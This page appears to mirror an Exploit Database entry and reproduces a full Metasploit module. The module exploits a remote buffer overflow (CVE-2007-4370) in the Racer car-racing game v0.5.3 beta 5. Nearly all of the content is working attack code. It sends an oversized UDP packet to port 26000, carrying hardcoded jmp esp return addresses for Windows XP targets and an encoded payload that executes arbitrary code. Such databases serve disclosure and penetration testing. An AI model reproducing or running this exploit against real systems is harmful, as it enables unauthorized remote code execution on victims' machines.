Racer 0.5.3 Beta 5 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16694/

• ##
  # $Id: racer_503beta5.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Racer v0.5.3 beta 5 Buffer Overflow',
  			'Description'=> %q{
  					This module explots the Racer Car and Racing Simulator game
  				versions v0.5.3 beta 5 and earlier. Both the client and server listen
  				on UDP port 26000. By sending an overly long buffer we are able to
  				execute arbitrary code remotely.
  			},
  			'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-4370' ],
  					[ 'OSVDB', '39601' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
  					[ 'BID', '25297' ],
  				],
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x5c\x00",
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested ok patrickw 20090503
  					[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
  					[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
  					[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
  				],
  			'DisclosureDate' => 'Aug 10 2008',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(26000)
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		buf = Rex::Text.rand_text_alphanumeric(1001)
  		buf << [target.ret].pack('V')
  		buf << payload.encoded
  		buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
  
  		udp_sock.put(buf)
  
  		handler
  		disconnect_udp
  	end
  end